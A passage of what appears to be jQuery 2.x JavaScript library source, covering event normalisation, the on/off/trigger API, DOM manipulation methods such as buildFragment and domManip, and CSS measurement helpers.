filter: function( event, original ) {
var eventDoc, doc, body,
button = original.button;
// Calculate pageX/Y if missing and clientX/Y available
if ( event.pageX == null && original.clientX != null ) {
eventDoc = event.target.ownerDocument || document;
doc = eventDoc.documentElement;
body = eventDoc.body;
event.pageX = original.clientX + ( doc && doc.scrollLeft || body && body.scrollLeft || 0 ) - ( doc && doc.clientLeft || body && body.clientLeft || 0 );
event.pageY = original.clientY + ( doc && doc.scrollTop || body && body.scrollTop || 0 ) - ( doc && doc.clientTop || body && body.clientTop || 0 );
}
// Add which for click: 1 === left; 2 === middle; 3 === right
// Note: button is not normalized, so don't use it
if ( !event.which && button !== undefined ) {
event.which = ( button & 1 ? 1 : ( button & 2 ? 3 : ( button & 4 ? 2 : 0 ) ) );
}
return event;
}
},
fix: function( event ) {
if ( event[ jQuery.expando ] ) {
return event;
}
// Create a writable copy of the event object and normalize some properties
var i, prop, copy,
type = event.type,
originalEvent = event,
fixHook = this.fixHooks[ type ];
if ( !fixHook ) {
this.fixHooks[ type ] = fixHook =
rmouseEvent.test( type ) ? this.mouseHooks :
rkeyEvent.test( type ) ? this.keyHooks :
{};
}
copy = fixHook.props ? this.props.concat( fixHook.props ) : this.props;
event = new jQuery.Event( originalEvent );
i = copy.length;
while ( i-- ) {
prop = copy[ i ];
event[ prop ] = originalEvent[ prop ];
}
// Support: Cordova 2.5 (WebKit) (#13255)
// All events should have a target; Cordova deviceready doesn't
if ( !event.target ) {
event.target = document;
}
// Support: Safari 6.0+, Chrome < 28
// Target should not be a text node (#504, #13143)
if ( event.target.nodeType === 3 ) {
event.target = event.target.parentNode;
}
return fixHook.filter ? fixHook.filter( event, originalEvent ) : event;
},
special: {
load: {
// Prevent triggered image.load events from bubbling to window.load
noBubble: true
},
focus: {
// Fire native event if possible so blur/focus sequence is correct
trigger: function() {
if ( this !== safeActiveElement() && this.focus ) {
this.focus();
return false;
}
},
delegateType: "focusin"
},
blur: {
trigger: function() {
if ( this === safeActiveElement() && this.blur ) {
this.blur();
return false;
}
},
delegateType: "focusout"
},
click: {
// For checkbox, fire native event so checked state will be right
trigger: function() {
if ( this.type === "checkbox" && this.click && jQuery.nodeName( this, "input" ) ) {
this.click();
return false;
}
},
// For cross-browser consistency, don't fire native .click() on links
_default: function( event ) {
return jQuery.nodeName( event.target, "a" );
}
},
beforeunload: {
postDispatch: function( event ) {
// Support: Firefox 20+
// Firefox doesn't alert if the returnValue field is not set.
if ( event.result !== undefined ) {
event.originalEvent.returnValue = event.result;
}
}
}
},
simulate: function( type, elem, event, bubble ) {
// Piggyback on a donor event to simulate a different one.
// Fake originalEvent to avoid donor's stopPropagation, but if the
// simulated event prevents default then we do the same on the donor.
var e = jQuery.extend(
new jQuery.Event(),
event,
{
type: type,
isSimulated: true,
originalEvent: {}
}
);
if ( bubble ) {
jQuery.event.trigger( e, null, elem );
} else {
jQuery.event.dispatch.call( elem, e );
}
if ( e.isDefaultPrevented() ) {
event.preventDefault();
}
}
};
jQuery.removeEvent = function( elem, type, handle ) {
if ( elem.removeEventListener ) {
elem.removeEventListener( type, handle, false );
}
};
jQuery.Event = function( src, props ) {
// Allow instantiation without the 'new' keyword
if ( !(this instanceof jQuery.Event) ) {
return new jQuery.Event( src, props );
}
// Event object
if ( src && src.type ) {
this.originalEvent = src;
this.type = src.type;
// Events bubbling up the document may have been marked as prevented
// by a handler lower down the tree; reflect the correct value.
this.isDefaultPrevented = src.defaultPrevented ||
// Support: Android < 4.0
src.defaultPrevented === undefined &&
src.getPreventDefault && src.getPreventDefault() ?
returnTrue :
returnFalse;
// Event type
} else {
this.type = src;
}
// Put explicitly provided properties onto the event object
if ( props ) {
jQuery.extend( this, props );
}
// Create a timestamp if incoming event doesn't have one
this.timeStamp = src && src.timeStamp || jQuery.now();
// Mark it as fixed
this[ jQuery.expando ] = true;
};
// jQuery.Event is based on DOM3 Events as specified by the ECMAScript Language Binding
// http://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html
jQuery.Event.prototype = {
isDefaultPrevented: returnFalse,
isPropagationStopped: returnFalse,
isImmediatePropagationStopped: returnFalse,
preventDefault: function() {
var e = this.originalEvent;
this.isDefaultPrevented = returnTrue;
if ( e && e.preventDefault ) {
e.preventDefault();
}
},
stopPropagation: function() {
var e = this.originalEvent;
this.isPropagationStopped = returnTrue;
if ( e && e.stopPropagation ) {
e.stopPropagation();
}
},
stopImmediatePropagation: function() {
this.isImmediatePropagationStopped = returnTrue;
this.stopPropagation();
}
};
// Create mouseenter/leave events using mouseover/out and event-time checks
// Support: Chrome 15+
jQuery.each({
mouseenter: "mouseover",
mouseleave: "mouseout"
}, function( orig, fix ) {
jQuery.event.special[ orig ] = {
delegateType: fix,
bindType: fix,
handle: function( event ) {
var ret,
target = this,
related = event.relatedTarget,
handleObj = event.handleObj;
// For mousenter/leave call the handler if related is outside the target.
// NB: No relatedTarget if the mouse left/entered the browser window
if ( !related || (related !== target && !jQuery.contains( target, related )) ) {
event.type = handleObj.origType;
ret = handleObj.handler.apply( this, arguments );
event.type = fix;
}
return ret;
}
};
});
// Create "bubbling" focus and blur events
// Support: Firefox, Chrome, Safari
if ( !support.focusinBubbles ) {
jQuery.each({ focus: "focusin", blur: "focusout" }, function( orig, fix ) {
// Attach a single capturing handler on the document while someone wants focusin/focusout
var handler = function( event ) {
jQuery.event.simulate( fix, event.target, jQuery.event.fix( event ), true );
};
jQuery.event.special[ fix ] = {
setup: function() {
var doc = this.ownerDocument || this,
attaches = data_priv.access( doc, fix );
if ( !attaches ) {
doc.addEventListener( orig, handler, true );
}
data_priv.access( doc, fix, ( attaches || 0 ) + 1 );
},
teardown: function() {
var doc = this.ownerDocument || this,
attaches = data_priv.access( doc, fix ) - 1;
if ( !attaches ) {
doc.removeEventListener( orig, handler, true );
data_priv.remove( doc, fix );
} else {
data_priv.access( doc, fix, attaches );
}
}
};
});
}
jQuery.fn.extend({
on: function( types, selector, data, fn, /*INTERNAL*/ one ) {
var origFn, type;
// Types can be a map of types/handlers
if ( typeof types === "object" ) {
// ( types-Object, selector, data )
if ( typeof selector !== "string" ) {
// ( types-Object, data )
data = data || selector;
selector = undefined;
}
for ( type in types ) {
this.on( type, selector, data, types[ type ], one );
}
return this;
}
if ( data == null && fn == null ) {
// ( types, fn )
fn = selector;
data = selector = undefined;
} else if ( fn == null ) {
if ( typeof selector === "string" ) {
// ( types, selector, fn )
fn = data;
data = undefined;
} else {
// ( types, data, fn )
fn = data;
data = selector;
selector = undefined;
}
}
if ( fn === false ) {
fn = returnFalse;
} else if ( !fn ) {
return this;
}
if ( one === 1 ) {
origFn = fn;
fn = function( event ) {
// Can use an empty set, since event contains the info
jQuery().off( event );
return origFn.apply( this, arguments );
};
// Use same guid so caller can remove using origFn
fn.guid = origFn.guid || ( origFn.guid = jQuery.guid++ );
}
return this.each( function() {
jQuery.event.add( this, types, fn, data, selector );
});
},
one: function( types, selector, data, fn ) {
return this.on( types, selector, data, fn, 1 );
},
off: function( types, selector, fn ) {
var handleObj, type;
if ( types && types.preventDefault && types.handleObj ) {
// ( event ) dispatched jQuery.Event
handleObj = types.handleObj;
jQuery( types.delegateTarget ).off(
handleObj.namespace ? handleObj.origType + "." + handleObj.namespace : handleObj.origType,
handleObj.selector,
handleObj.handler
);
return this;
}
if ( typeof types === "object" ) {
// ( types-object [, selector] )
for ( type in types ) {
this.off( type, selector, types[ type ] );
}
return this;
}
if ( selector === false || typeof selector === "function" ) {
// ( types [, fn] )
fn = selector;
selector = undefined;
}
if ( fn === false ) {
fn = returnFalse;
}
return this.each(function() {
jQuery.event.remove( this, types, fn, selector );
});
},
trigger: function( type, data ) {
return this.each(function() {
jQuery.event.trigger( type, data, this );
});
},
triggerHandler: function( type, data ) {
var elem = this[0];
if ( elem ) {
return jQuery.event.trigger( type, data, elem, true );
}
}
});
var
rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,
rtagName = /<([\w:]+)/,
rhtml = /<|&#?\w+;/,
rnoInnerhtml = /<(?:script|style|link)/i,
// checked="checked" or checked
rchecked = /checked\s*(?:[^=]|=\s*.checked.)/i,
rscriptType = /^$|\/(?:java|ecma)script/i,
rscriptTypeMasked = /^true\/(.*)/,
rcleanScript = /^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g,
// We have to close these tags to support XHTML (#13200)
wrapMap = {
// Support: IE 9
option: [ 1, "<select multiple='multiple'>", "</select>" ],
thead: [ 1, "<table>", "</table>" ],
col: [ 2, "<table><colgroup>", "</colgroup></table>" ],
tr: [ 2, "<table><tbody>", "</tbody></table>" ],
td: [ 3, "<table><tbody><tr>", "</tr></tbody></table>" ],
_default: [ 0, "", "" ]
};
// Support: IE 9
wrapMap.optgroup = wrapMap.option;
wrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead;
wrapMap.th = wrapMap.td;
// Support: 1.x compatibility
// Manipulating tables requires a tbody
function manipulationTarget( elem, content ) {
return jQuery.nodeName( elem, "table" ) &&
jQuery.nodeName( content.nodeType !== 11 ? content : content.firstChild, "tr" ) ?
elem.getElementsByTagName("tbody")[0] ||
elem.appendChild( elem.ownerDocument.createElement("tbody") ) :
elem;
}
// Replace/restore the type attribute of script elements for safe DOM manipulation
function disableScript( elem ) {
elem.type = (elem.getAttribute("type") !== null) + "/" + elem.type;
return elem;
}
function restoreScript( elem ) {
var match = rscriptTypeMasked.exec( elem.type );
if ( match ) {
elem.type = match[ 1 ];
} else {
elem.removeAttribute("type");
}
return elem;
}
// Mark scripts as having already been evaluated
function setGlobalEval( elems, refElements ) {
var i = 0,
l = elems.length;
for ( ; i < l; i++ ) {
data_priv.set(
elems[ i ], "globalEval", !refElements || data_priv.get( refElements[ i ], "globalEval" )
);
}
}
function cloneCopyEvent( src, dest ) {
var i, l, type, pdataOld, pdataCur, udataOld, udataCur, events;
if ( dest.nodeType !== 1 ) {
return;
}
// 1. Copy private data: events, handlers, etc.
if ( data_priv.hasData( src ) ) {
pdataOld = data_priv.access( src );
pdataCur = data_priv.set( dest, pdataOld );
events = pdataOld.events;
if ( events ) {
delete pdataCur.handle;
pdataCur.events = {};
for ( type in events ) {
for ( i = 0, l = events[ type ].length; i < l; i++ ) {
jQuery.event.add( dest, type, events[ type ][ i ] );
}
}
}
}
// 2. Copy user data
if ( data_user.hasData( src ) ) {
udataOld = data_user.access( src );
udataCur = jQuery.extend( {}, udataOld );
data_user.set( dest, udataCur );
}
}
function getAll( context, tag ) {
var ret = context.getElementsByTagName ? context.getElementsByTagName( tag || "*" ) :
context.querySelectorAll ? context.querySelectorAll( tag || "*" ) :
[];
return tag === undefined || tag && jQuery.nodeName( context, tag ) ?
jQuery.merge( [ context ], ret ) :
ret;
}
// Support: IE >= 9
function fixInput( src, dest ) {
var nodeName = dest.nodeName.toLowerCase();
// Fails to persist the checked state of a cloned checkbox or radio button.
if ( nodeName === "input" && rcheckableType.test( src.type ) ) {
dest.checked = src.checked;
// Fails to return the selected option to the default selected state when cloning options
} else if ( nodeName === "input" || nodeName === "textarea" ) {
dest.defaultValue = src.defaultValue;
}
}
jQuery.extend({
clone: function( elem, dataAndEvents, deepDataAndEvents ) {
var i, l, srcElements, destElements,
clone = elem.cloneNode( true ),
inPage = jQuery.contains( elem.ownerDocument, elem );
// Support: IE >= 9
// Fix Cloning issues
if ( !support.noCloneChecked && ( elem.nodeType === 1 || elem.nodeType === 11 ) &&
!jQuery.isXMLDoc( elem ) ) {
// We eschew Sizzle here for performance reasons: http://jsperf.com/getall-vs-sizzle/2
destElements = getAll( clone );
srcElements = getAll( elem );
for ( i = 0, l = srcElements.length; i < l; i++ ) {
fixInput( srcElements[ i ], destElements[ i ] );
}
}
// Copy the events from the original to the clone
if ( dataAndEvents ) {
if ( deepDataAndEvents ) {
srcElements = srcElements || getAll( elem );
destElements = destElements || getAll( clone );
for ( i = 0, l = srcElements.length; i < l; i++ ) {
cloneCopyEvent( srcElements[ i ], destElements[ i ] );
}
} else {
cloneCopyEvent( elem, clone );
}
}
// Preserve script evaluation history
destElements = getAll( clone, "script" );
if ( destElements.length > 0 ) {
setGlobalEval( destElements, !inPage && getAll( elem, "script" ) );
}
// Return the cloned set
return clone;
},
buildFragment: function( elems, context, scripts, selection ) {
var elem, tmp, tag, wrap, contains, j,
fragment = context.createDocumentFragment(),
nodes = [],
i = 0,
l = elems.length;
for ( ; i < l; i++ ) {
elem = elems[ i ];
if ( elem || elem === 0 ) {
// Add nodes directly
if ( jQuery.type( elem ) === "object" ) {
// Support: QtWebKit
// jQuery.merge because push.apply(_, arraylike) throws
jQuery.merge( nodes, elem.nodeType ? [ elem ] : elem );
// Convert non-html into a text node
} else if ( !rhtml.test( elem ) ) {
nodes.push( context.createTextNode( elem ) );
// Convert html into DOM nodes
} else {
tmp = tmp || fragment.appendChild( context.createElement("div") );
// Deserialize a standard representation
tag = ( rtagName.exec( elem ) || [ "", "" ] )[ 1 ].toLowerCase();
wrap = wrapMap[ tag ] || wrapMap._default;
tmp.innerHTML = wrap[ 1 ] + elem.replace( rxhtmlTag, "<$1></$2>" ) + wrap[ 2 ];
// Descend through wrappers to the right content
j = wrap[ 0 ];
while ( j-- ) {
tmp = tmp.lastChild;
}
// Support: QtWebKit
// jQuery.merge because push.apply(_, arraylike) throws
jQuery.merge( nodes, tmp.childNodes );
// Remember the top-level container
tmp = fragment.firstChild;
// Fixes #12346
// Support: Webkit, IE
tmp.textContent = "";
}
}
}
// Remove wrapper from fragment
fragment.textContent = "";
i = 0;
while ( (elem = nodes[ i++ ]) ) {
// #4087 - If origin and destination elements are the same, and this is
// that element, do not do anything
if ( selection && jQuery.inArray( elem, selection ) !== -1 ) {
continue;
}
contains = jQuery.contains( elem.ownerDocument, elem );
// Append to fragment
tmp = getAll( fragment.appendChild( elem ), "script" );
// Preserve script evaluation history
if ( contains ) {
setGlobalEval( tmp );
}
// Capture executables
if ( scripts ) {
j = 0;
while ( (elem = tmp[ j++ ]) ) {
if ( rscriptType.test( elem.type || "" ) ) {
scripts.push( elem );
}
}
}
}
return fragment;
},
cleanData: function( elems ) {
var data, elem, events, type, key, j,
special = jQuery.event.special,
i = 0;
for ( ; (elem = elems[ i ]) !== undefined; i++ ) {
if ( jQuery.acceptData( elem ) ) {
key = elem[ data_priv.expando ];
if ( key && (data = data_priv.cache[ key ]) ) {
events = Object.keys( data.events || {} );
if ( events.length ) {
for ( j = 0; (type = events[j]) !== undefined; j++ ) {
if ( special[ type ] ) {
jQuery.event.remove( elem, type );
// This is a shortcut to avoid jQuery.event.remove's overhead
} else {
jQuery.removeEvent( elem, type, data.handle );
}
}
}
if ( data_priv.cache[ key ] ) {
// Discard any remaining `private` data
delete data_priv.cache[ key ];
}
}
}
// Discard any remaining `user` data
delete data_user.cache[ elem[ data_user.expando ] ];
}
}
});
jQuery.fn.extend({
text: function( value ) {
return access( this, function( value ) {
return value === undefined ?
jQuery.text( this ) :
this.empty().each(function() {
if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {
this.textContent = value;
}
});
}, null, value, arguments.length );
},
append: function() {
return this.domManip( arguments, function( elem ) {
if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {
var target = manipulationTarget( this, elem );
target.appendChild( elem );
}
});
},
prepend: function() {
return this.domManip( arguments, function( elem ) {
if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {
var target = manipulationTarget( this, elem );
target.insertBefore( elem, target.firstChild );
}
});
},
before: function() {
return this.domManip( arguments, function( elem ) {
if ( this.parentNode ) {
this.parentNode.insertBefore( elem, this );
}
});
},
after: function() {
return this.domManip( arguments, function( elem ) {
if ( this.parentNode ) {
this.parentNode.insertBefore( elem, this.nextSibling );
}
});
},
remove: function( selector, keepData /* Internal Use Only */ ) {
var elem,
elems = selector ? jQuery.filter( selector, this ) : this,
i = 0;
for ( ; (elem = elems[i]) != null; i++ ) {
if ( !keepData && elem.nodeType === 1 ) {
jQuery.cleanData( getAll( elem ) );
}
if ( elem.parentNode ) {
if ( keepData && jQuery.contains( elem.ownerDocument, elem ) ) {
setGlobalEval( getAll( elem, "script" ) );
}
elem.parentNode.removeChild( elem );
}
}
return this;
},
empty: function() {
var elem,
i = 0;
for ( ; (elem = this[i]) != null; i++ ) {
if ( elem.nodeType === 1 ) {
// Prevent memory leaks
jQuery.cleanData( getAll( elem, false ) );
// Remove any remaining nodes
elem.textContent = "";
}
}
return this;
},
clone: function( dataAndEvents, deepDataAndEvents ) {
dataAndEvents = dataAndEvents == null ? false : dataAndEvents;
deepDataAndEvents = deepDataAndEvents == null ? dataAndEvents : deepDataAndEvents;
return this.map(function() {
return jQuery.clone( this, dataAndEvents, deepDataAndEvents );
});
},
html: function( value ) {
return access( this, function( value ) {
var elem = this[ 0 ] || {},
i = 0,
l = this.length;
if ( value === undefined && elem.nodeType === 1 ) {
return elem.innerHTML;
}
// See if we can take a shortcut and just use innerHTML
if ( typeof value === "string" && !rnoInnerhtml.test( value ) &&
!wrapMap[ ( rtagName.exec( value ) || [ "", "" ] )[ 1 ].toLowerCase() ] ) {
value = value.replace( rxhtmlTag, "<$1></$2>" );
try {
for ( ; i < l; i++ ) {
elem = this[ i ] || {};
// Remove element nodes and prevent memory leaks
if ( elem.nodeType === 1 ) {
jQuery.cleanData( getAll( elem, false ) );
elem.innerHTML = value;
}
}
elem = 0;
// If using innerHTML throws an exception, use the fallback method
} catch( e ) {}
}
if ( elem ) {
this.empty().append( value );
}
}, null, value, arguments.length );
},
replaceWith: function() {
var arg = arguments[ 0 ];
// Make the changes, replacing each context element with the new content
this.domManip( arguments, function( elem ) {
arg = this.parentNode;
jQuery.cleanData( getAll( this ) );
if ( arg ) {
arg.replaceChild( elem, this );
}
});
// Force removal if there was no new content (e.g., from empty arguments)
return arg && (arg.length || arg.nodeType) ? this : this.remove();
},
detach: function( selector ) {
return this.remove( selector, true );
},
domManip: function( args, callback ) {
// Flatten any nested arrays
args = concat.apply( [], args );
var fragment, first, scripts, hasScripts, node, doc,
i = 0,
l = this.length,
set = this,
iNoClone = l - 1,
value = args[ 0 ],
isFunction = jQuery.isFunction( value );
// We can't cloneNode fragments that contain checked, in WebKit
if ( isFunction ||
( l > 1 && typeof value === "string" &&
!support.checkClone && rchecked.test( value ) ) ) {
return this.each(function( index ) {
var self = set.eq( index );
if ( isFunction ) {
args[ 0 ] = value.call( this, index, self.html() );
}
self.domManip( args, callback );
});
}
if ( l ) {
fragment = jQuery.buildFragment( args, this[ 0 ].ownerDocument, false, this );
first = fragment.firstChild;
if ( fragment.childNodes.length === 1 ) {
fragment = first;
}
if ( first ) {
scripts = jQuery.map( getAll( fragment, "script" ), disableScript );
hasScripts = scripts.length;
// Use the original fragment for the last item instead of the first because it can end up
// being emptied incorrectly in certain situations (#8070).
for ( ; i < l; i++ ) {
node = fragment;
if ( i !== iNoClone ) {
node = jQuery.clone( node, true, true );
// Keep references to cloned scripts for later restoration
if ( hasScripts ) {
// Support: QtWebKit
// jQuery.merge because push.apply(_, arraylike) throws
jQuery.merge( scripts, getAll( node, "script" ) );
}
}
callback.call( this[ i ], node, i );
}
if ( hasScripts ) {
doc = scripts[ scripts.length - 1 ].ownerDocument;
// Reenable scripts
jQuery.map( scripts, restoreScript );
// Evaluate executable scripts on first document insertion
for ( i = 0; i < hasScripts; i++ ) {
node = scripts[ i ];
if ( rscriptType.test( node.type || "" ) &&
!data_priv.access( node, "globalEval" ) && jQuery.contains( doc, node ) ) {
if ( node.src ) {
// Optional AJAX dependency, but won't run scripts if not present
if ( jQuery._evalUrl ) {
jQuery._evalUrl( node.src );
}
} else {
jQuery.globalEval( node.textContent.replace( rcleanScript, "" ) );
}
}
}
}
}
}
return this;
}
});
jQuery.each({
appendTo: "append",
prependTo: "prepend",
insertBefore: "before",
insertAfter: "after",
replaceAll: "replaceWith"
}, function( name, original ) {
jQuery.fn[ name ] = function( selector ) {
var elems,
ret = [],
insert = jQuery( selector ),
last = insert.length - 1,
i = 0;
for ( ; i <= last; i++ ) {
elems = i === last ? this : this.clone( true );
jQuery( insert[ i ] )[ original ]( elems );
// Support: QtWebKit
// .get() because push.apply(_, arraylike) throws
push.apply( ret, elems.get() );
}
return this.pushStack( ret );
};
});
var iframe,
elemdisplay = {};
/**
* Retrieve the actual display of a element
* @param {String} name nodeName of the element
* @param {Object} doc Document object
*/
// Called only from within defaultDisplay
function actualDisplay( name, doc ) {
var elem = jQuery( doc.createElement( name ) ).appendTo( doc.body ),
// getDefaultComputedStyle might be reliably used only on attached element
display = window.getDefaultComputedStyle ?
// Use of this method is a temporary fix (more like optmization) until something better comes along,
// since it was removed from specification and supported only in FF
window.getDefaultComputedStyle( elem[ 0 ] ).display : jQuery.css( elem[ 0 ], "display" );
// We don't have any data stored on the element,
// so use "detach" method as fast way to get rid of the element
elem.detach();
return display;
}
/**
* Try to determine the default display value of an element
* @param {String} nodeName
*/
function defaultDisplay( nodeName ) {
var doc = document,
display = elemdisplay[ nodeName ];
if ( !display ) {
display = actualDisplay( nodeName, doc );
// If the simple way fails, read from inside an iframe
if ( display === "none" || !display ) {
// Use the already-created iframe if possible
iframe = (iframe || jQuery( "<iframe frameborder='0' width='0' height='0'/>" )).appendTo( doc.documentElement );
// Always write a new HTML skeleton so Webkit and Firefox don't choke on reuse
doc = iframe[ 0 ].contentDocument;
// Support: IE
doc.write();
doc.close();
display = actualDisplay( nodeName, doc );
iframe.detach();
}
// Store the correct default display
elemdisplay[ nodeName ] = display;
}
return display;
}
var rmargin = (/^margin/);
var rnumnonpx = new RegExp( "^(" + pnum + ")(?!px)[a-z%]+$", "i" );
var getStyles = function( elem ) {
return elem.ownerDocument.defaultView.getComputedStyle( elem, null );
};
function curCSS( elem, name, computed ) {
var width, minWidth, maxWidth, ret,
style = elem.style;
computed = computed || getStyles( elem );
// Support: IE9
// getPropertyValue is only needed for .css('filter') in IE9, see #12537
if ( computed ) {
ret = computed.getPropertyValue( name ) || computed[ name ];
}
if ( computed ) {
if ( ret === "" && !jQuery.contains( elem.ownerDocument, elem ) ) {
ret = jQuery.style( elem, name );
}
// Support: iOS < 6
// A tribute to the "awesome hack by Dean Edwards"
// iOS < 6 (at least) returns percentage for a larger set of values, but width seems to be reliably pixels
// this is against the CSSOM draft spec: http://dev.w3.org/csswg/cssom/#resolved-values
if ( rnumnonpx.test( ret ) && rmargin.test( name ) ) {
// Remember the original values
width = style.width;
minWidth = style.minWidth;
maxWidth = style.maxWidth;
// Put in the new values to get a computed value out
style.minWidth = style.maxWidth = style.width = ret;
ret = computed.width;
// Revert the changed values
style.width = width;
style.minWidth = minWidth;
style.maxWidth = maxWidth;
}
}
return ret !== undefined ?
// Support: IE
// IE returns zIndex value as an integer.
ret + "" :
ret;
}
function addGetHookIf( conditionFn, hookFn ) {
// Define the hook, we'll check on the first run if it's really needed.
return {
get: function() {
if ( conditionFn() ) {
// Hook not needed (or it's not possible to use it due to missing dependency),
// remove it.
// Since there are no other hooks for marginRight, remove the whole object.
delete this.get;
return;
}
// Hook needed; redefine it so that the support test is not executed again.
return (this.get = hookFn).apply( this, arguments );
}
};
}
(function() {
var pixelPositionVal, boxSizingReliableVal,
// Support: Firefox, Android 2.3 (Prefixed box-sizing versions).
divReset = "padding:0;margin:0;border:0;display:block;-webkit-box-sizing:content-box;" +
"-moz-box-sizing:content-box;box-sizing:content-box",
docElem = document.documentElement,
container = document.createElement( "div" ),
div = document.createElement( "div" );
div.style.backgroundClip = "content-box";
div.cloneNode( true ).style.backgroundClip = "";
support.clearCloneStyle = div.style.backgroundClip === "content-box";
container.style.cssText = "border:0;width:0;height:0;position:absolute;top:0;left:-9999px;" +
"margin-top:1px";
container.appendChild( div );
// Executing both pixelPosition & boxSizingReliable tests require only one layout
// so they're executed at the same time to save the second computation.
function computePixelPositionAndBoxSizingReliable() {
// Support: Firefox, Android 2.3 (Prefixed box-sizing versions).
div.style.cssText = "-webkit-box-sizing:border-box;-moz-box-sizing:border-box;" +
"box-sizing:border-box;padding:1px;border:1px;display:block;width:4px;margin-top:1%;" +
"position:absolute;top:1%";
docElem.appendChild( container );
var divStyle = window.getComputedStyle( div, null );
pixelPositionVal = divStyle.top !== "1%";
boxSizingReliableVal = divStyle.width === "4px";
docElem.removeChild( container );
}
// Use window.getComputedStyle because jsdom on node.js will break without it.
if ( window.getComputedStyle ) {
jQuery.extend(support, {
pixelPosition: function() {
// This test is executed only once but we still do memoizing
// since we can use the boxSizingReliable pre-computing.
// No need to check if the test was already performed, though.
computePixelPositionAndBoxSizingReliable();
return pixelPositionVal;
},
boxSizingReliable: function() {
if ( boxSizingReliableVal == null ) {
computePixelPositionAndBoxSizingReliable();
}
return boxSizingReliableVal;
},
reliableMarginRight: function() {
// Support: Android 2.3
// Check if div with explicit width and no margin-right incorrectly
// gets computed margin-right based on width of container. (#3333)
// WebKit Bug 13343 - getComputedStyle returns wrong value for margin-right
// This support function is only executed once so no memoizing is needed.
var ret,
marginDiv = div.appendChild( document.createElement( "div" ) );
marginDiv.style.cssText = div.style.cssText = divReset;
marginDiv.style.marginRight = marginDiv.style.width = "0";
div.style.width = "1px";
docElem.appendChild( container );
ret = !parseFloat( window.getComputedStyle( marginDiv, null ).marginRight );
docElem.removeChild( container );
// Clean up the div for other support tests.
div.innerHTML = "";
return ret;
}
});
}
})();
// A method for quickly swapping in/out CSS properties to get correct calculations.
jQuery.swap = function( elem, options, callback, args ) {
var ret, name,
old = {};
// Remember the old values, and insert the new ones
for ( name in options ) {
old[ name ] = elem.style[ name ];
elem.style[ name ] = options[ name ];
}
ret = callback.apply( elem, args || [] );
// Revert the old values
for ( name in options ) {
elem.style[ name ] = old[ name ];
}
return ret;
};
var
// swappable if display is none or starts with table except "table", "table-cell", or "table-caption"
// see here for display values: https://developer.mozilla.org/en-US/docs/CSS/display
rdisplayswap = /^(none|table(?!-c[ea]).+)/,
rnumsplit = new RegExp( "^(" + pnum + ")(.*)$", "i" ),
rrelNum = new RegExp( "^([+-])=(" + pnum + ")", "i" ),
cssShow = { position: "absolute", visibility: "hidden", display: "block" },
cssNormalTransform = {
letterSpacing: 0,
fontWeight: 400
},
cssPrefixes = [ "Webkit", "O", "Moz", "ms" ];
// return a css property mapped to a potentially vendor prefixed property
function vendorPropName( style, name ) {
// shortcut for names that are not vendor prefixed
if ( name in style ) {
return name;
}
// check for vendor prefixed names
var capName = name[0].toUpperCase() + name.slice(1),
origName = name,
i = cssPrefixes.length;
while ( i-- ) {
name = cssPrefixes[ i ] + capName;
if ( name in style ) {
return name;
}
}
return origName;
}
function setPositiveNumber( elem, value, subtract ) {
var matches = rnumsplit.exec( value );
return matches ?
// Guard against undefined "subtract", e.g., when used as in cssHooks
Math.max( 0, matches[ 1 ] - ( subtract || 0 ) ) + ( matches[ 2 ] || "px" ) :
value;
}
function augmentWidthOrHeight( elem, name, extra, isBorderBox, styles ) {
var i = extra === ( isBorderBox ? "border" : "content" ) ?
// If we already have the right measurement, avoid augmentation
4 :
// Otherwise initialize for horizontal or vertical properties
name === "width" ? 1 : 0,
val = 0;
for ( ; i < 4; i += 2 ) {
// both box models exclude margin, so add it if we want it
if ( extra === "margin" ) {
val += jQuery.css( elem, extra + cssExpand[ i ], true, styles );
}
if ( isBorderBox ) {
// border-box includes padding, so remove it if we want content
if ( extra === "content" ) {
val -= jQuery.css( elem, "padding" + cssExpand[ i ], true, styles );
}
// at this point, extra isn't border nor margin, so remove border
if ( extra !== "margin" ) {
val -= jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles );
}
} else {
// at this point, extra isn't content, so add padding
val += jQuery.css( elem, "padding" + cssExpand[ i ], true, styles );
// at this point, extra isn't content nor padding, so add border
if ( extra !== "padding" ) {
val += jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles );
}
}
}
return val;
}
function getWidthOrHeight( elem, name, extra ) {
// Start with offset property, which is equivalent to the border-box value
var valueIsBorderBox = true,
val = name === "width" ? elem.offsetWidth : elem.offsetHeight,
styles = getStyles( elem ),
isBorderBox = jQuery.css( elem, "boxSizing", false, styles ) === "border-box";
// some non-html elements return undefined for offsetWidth, so check for null/undefined
// svg - https://bugzilla.mozilla.org/show_bug.cgi?id=649285
// MathML - https://bugzilla.mozilla.org/show_bug.cgi?id=491668
if ( val <= 0 || val == null ) {
// Fall back to computed then uncomputed css if necessary
val = curCSS( elem, name, styles );
if ( val < 0 || val == null ) {
val = elem.style[ name ];
}
// Computed unit is not pixels. Stop here and return.
if ( rnumnonpx.test(val) ) {
return val;
}
// we need the check for style in case a browser which returns unreliable values
// for getComputedStyle silently falls back to the reliable elem.style
valueIsBorderBox = isBorderBox &&
( support.boxSizingReliable() || val === elem.style[ name ] );
// Normalize "", auto, and prepare for extra
val = parseFloat( val ) || 0;
}
// use the active box-sizing model to add/subtract irrelevant styles
return ( val +
augmentWidthOrHeight(
elem,
name,
extra || ( isBorderBox ? "border" : "content" ),
valueIsBorderBox,
styles
)
) + "px";
}
function showHide( elements, show ) {
var display, elem, hidden,
values = [],
index = 0,
length = elements.length;
for ( ; index < length; index++ ) {
elem = elements[ index ];
if ( !elem.style ) {
continue;
}
values[ index ] = data_priv.get( elem, "olddisplay" );
display = elem.style.display;
if ( show ) {
// Reset the inline display of this element to learn if it is
// being hidden by cascaded rules or not
if ( !values[ index ] && display === "none" ) {
elem.style.display = "";
}
// Set elements which have been overridden with display: none
// in a stylesheet to whatever the default browser style is
// for such an element
if ( elem.style.display === "" && isHidden( elem ) ) {
values[ index ] = data_priv.access( elem, "olddisplay", defaultDisplay(elem.nodeName) );
}
} else {
if ( !values[ index ] ) {
